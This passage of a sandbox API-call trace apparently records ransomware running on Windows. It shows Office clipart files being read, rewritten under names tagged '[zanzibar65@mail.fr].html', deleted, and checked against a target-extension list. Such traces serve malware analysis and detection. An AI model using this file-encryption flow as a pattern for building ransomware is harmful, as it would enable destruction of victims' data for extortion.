liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c [0054.105] GetLastError () returned 0x0 [0054.105] ReadFile (in: hFile=0x238, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x9bc, lpOverlapped=0x0) returned 1 [0054.106] WriteFile (in: hFile=0x23c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x9c0, lpOverlapped=0x0) returned 1 [0054.107] ReadFile (in: hFile=0x238, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.107] WriteFile (in: hFile=0x23c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.107] SetEndOfFile (hFile=0x23c) returned 1 [0054.108] CloseHandle (hObject=0x23c) returned 1 [0054.108] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.108] SetEndOfFile (hFile=0x238) returned 1 [0054.109] CloseHandle (hObject=0x238) returned 1 [0054.109] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0054.109] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf")) returned 1 [0054.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0054.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0054.109] lstrlenW (lpString=".doc") returned 4 [0054.109] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0054.109] lstrlenW (lpString=".docx") returned 5 [0054.109] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0054.109] lstrlenW (lpString=".pdf") returned 4 [0054.109] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0054.109] lstrlenW (lpString=".xls") returned 4 [0054.109] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0054.109] lstrlenW (lpString=".xlsx") returned 5 [0054.109] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0054.109] lstrlenW (lpString=".ppt") returned 4 [0054.109] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0054.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0054.110] lstrlenW (lpString=".zip") returned 4 [0054.110] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0054.110] lstrlenW (lpString=".rar") returned 4 [0054.110] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0054.110] lstrlenW (lpString=".bz2") returned 4 [0054.110] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0054.110] lstrlenW (lpString=".7z") returned 3 [0054.110] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0054.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0054.110] lstrlenW (lpString=".dbf") returned 4 [0054.110] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0054.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0054.110] lstrlenW (lpString=".1cd") returned 4 [0054.110] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0054.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0054.110] lstrlenW (lpString=".jpg") returned 4 [0054.110] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0054.110] GetFileSizeEx (in: hFile=0x238, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=3348) returned 1 [0054.110] CloseHandle (hObject=0x238) returned 1 [0054.110] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf")) returned 0x20 [0054.111] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0054.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x238 [0054.111] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.111] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23c [0054.111] GetLastError () returned 0x0 [0054.111] ReadFile (in: hFile=0x238, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0xd14, lpOverlapped=0x0) returned 1 [0054.114] WriteFile (in: hFile=0x23c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xd20, lpOverlapped=0x0) returned 1 [0054.116] ReadFile (in: hFile=0x238, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.116] WriteFile (in: hFile=0x23c, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.116] SetEndOfFile (hFile=0x23c) returned 1 [0054.116] CloseHandle (hObject=0x23c) returned 1 [0054.116] SetFilePointerEx (in: hFile=0x238, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.116] SetEndOfFile (hFile=0x238) returned 1 [0054.117] CloseHandle (hObject=0x238) returned 1 [0054.117] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0054.117] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf")) returned 1 [0054.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0054.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0054.117] lstrlenW (lpString=".doc") returned 4 [0054.117] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0054.118] lstrlenW (lpString=".docx") returned 5 [0054.118] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0054.118] lstrlenW (lpString=".pdf") returned 4 [0054.118] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0054.118] lstrlenW (lpString=".xls") returned 4 [0054.118] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0054.118] lstrlenW (lpString=".xlsx") returned 5 [0054.118] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0054.118] lstrlenW (lpString=".ppt") returned 4 [0054.118] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0054.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0054.118] lstrlenW (lpString=".zip") returned 4 [0054.118] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0054.118] lstrlenW (lpString=".rar") returned 4 [0054.118] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0054.118] lstrlenW (lpString=".bz2") returned 4 [0054.118] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0054.118] lstrlenW (lpString=".7z") returned 3 [0054.118] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0054.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0054.118] lstrlenW (lpString=".dbf") returned 4 [0054.118] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0054.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0054.118] lstrlenW (lpString=".1cd") returned 4 [0054.118] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0054.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 63 [0054.118] lstrlenW (lpString=".jpg") returned 4 [0054.118] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0054.883] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.883] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0054.884] GetLastError () returned 0x0 [0054.884] ReadFile (in: hFile=0x1f0, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x10c8, lpOverlapped=0x0) returned 1 [0054.885] WriteFile (in: hFile=0x218, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x10d0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x10d0, lpOverlapped=0x0) returned 1 [0054.886] ReadFile (in: hFile=0x1f0, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.886] WriteFile (in: hFile=0x218, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.886] SetEndOfFile (hFile=0x218) returned 1 [0054.886] CloseHandle (hObject=0x218) returned 1 [0054.887] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.887] SetEndOfFile (hFile=0x1f0) returned 1 [0054.887] CloseHandle (hObject=0x1f0) returned 1 [0054.888] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0054.888] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf")) returned 1 [0054.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0054.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0054.888] lstrlenW (lpString=".doc") returned 4 [0054.888] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0054.888] lstrlenW (lpString=".docx") returned 5 [0054.888] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0054.888] lstrlenW (lpString=".pdf") returned 4 [0054.888] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0054.888] lstrlenW (lpString=".xls") returned 4 [0054.888] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0054.888] lstrlenW (lpString=".xlsx") returned 5 [0054.888] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0054.888] lstrlenW (lpString=".ppt") returned 4 [0054.888] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0054.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0054.889] lstrlenW (lpString=".zip") returned 4 [0054.889] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0054.889] lstrlenW (lpString=".rar") returned 4 [0054.889] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0054.889] lstrlenW (lpString=".bz2") returned 4 [0054.889] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0054.889] lstrlenW (lpString=".7z") returned 3 [0054.889] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0054.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0054.889] lstrlenW (lpString=".dbf") returned 4 [0054.889] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0054.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0054.889] lstrlenW (lpString=".1cd") returned 4 [0054.889] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0054.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0054.889] lstrlenW (lpString=".jpg") returned 4 [0054.889] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0054.889] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.889] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0054.890] GetLastError () returned 0x0 [0054.890] ReadFile (in: hFile=0x1f0, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x5f00, lpOverlapped=0x0) returned 1 [0054.892] WriteFile (in: hFile=0x218, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x5f10, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x5f10, lpOverlapped=0x0) returned 1 [0054.893] ReadFile (in: hFile=0x1f0, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.893] WriteFile (in: hFile=0x218, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.893] SetEndOfFile (hFile=0x218) returned 1 [0054.893] CloseHandle (hObject=0x218) returned 1 [0054.893] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.893] SetEndOfFile (hFile=0x1f0) returned 1 [0054.894] CloseHandle (hObject=0x1f0) returned 1 [0054.894] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0054.894] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf")) returned 1 [0054.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0054.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0054.895] lstrlenW (lpString=".doc") returned 4 [0054.895] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0054.895] lstrlenW (lpString=".docx") returned 5 [0054.895] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0054.895] lstrlenW (lpString=".pdf") returned 4 [0054.895] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0054.895] lstrlenW (lpString=".xls") returned 4 [0054.895] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0054.895] lstrlenW (lpString=".xlsx") returned 5 [0054.895] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0054.895] lstrlenW (lpString=".ppt") returned 4 [0054.895] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0054.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0054.895] lstrlenW (lpString=".zip") returned 4 [0054.895] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0054.895] lstrlenW (lpString=".rar") returned 4 [0054.895] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0054.895] lstrlenW (lpString=".bz2") returned 4 [0054.895] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0054.895] lstrlenW (lpString=".7z") returned 3 [0054.895] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0054.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0054.895] lstrlenW (lpString=".dbf") returned 4 [0054.895] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0054.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0054.895] lstrlenW (lpString=".1cd") returned 4 [0054.895] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0054.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF") returned 63 [0054.896] lstrlenW (lpString=".jpg") returned 4 [0054.896] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0054.896] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.896] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0054.896] GetLastError () returned 0x0 [0054.896] ReadFile (in: hFile=0x1f0, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x60ca, lpOverlapped=0x0) returned 1 [0054.898] WriteFile (in: hFile=0x218, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x60d0, lpOverlapped=0x0) returned 1 [0054.899] ReadFile (in: hFile=0x1f0, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.899] WriteFile (in: hFile=0x218, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.899] SetEndOfFile (hFile=0x218) returned 1 [0054.900] CloseHandle (hObject=0x218) returned 1 [0054.900] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.900] SetEndOfFile (hFile=0x1f0) returned 1 [0054.901] CloseHandle (hObject=0x1f0) returned 1 [0054.901] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0054.901] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08773_.wmf")) returned 1 [0054.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0054.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0054.901] lstrlenW (lpString=".doc") returned 4 [0054.901] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0054.901] lstrlenW (lpString=".docx") returned 5 [0054.901] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0054.901] lstrlenW (lpString=".pdf") returned 4 [0054.901] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0054.901] lstrlenW (lpString=".xls") returned 4 [0054.901] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0054.902] lstrlenW (lpString=".xlsx") returned 5 [0054.902] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0054.902] lstrlenW (lpString=".ppt") returned 4 [0054.902] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0054.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0054.902] lstrlenW (lpString=".zip") returned 4 [0054.902] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0054.902] lstrlenW (lpString=".rar") returned 4 [0054.902] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0054.902] lstrlenW (lpString=".bz2") returned 4 [0054.902] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0054.902] lstrlenW (lpString=".7z") returned 3 [0054.902] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0054.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0054.902] lstrlenW (lpString=".dbf") returned 4 [0054.902] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0054.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0054.902] lstrlenW (lpString=".1cd") returned 4 [0054.902] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0054.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 63 [0054.902] lstrlenW (lpString=".jpg") returned 4 [0054.902] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0054.902] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=47996) returned 1 [0054.902] CloseHandle (hObject=0x1f0) returned 1 [0054.903] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf")) returned 0x20 [0054.903] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0054.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0054.903] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.903] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.903] CreateFileW 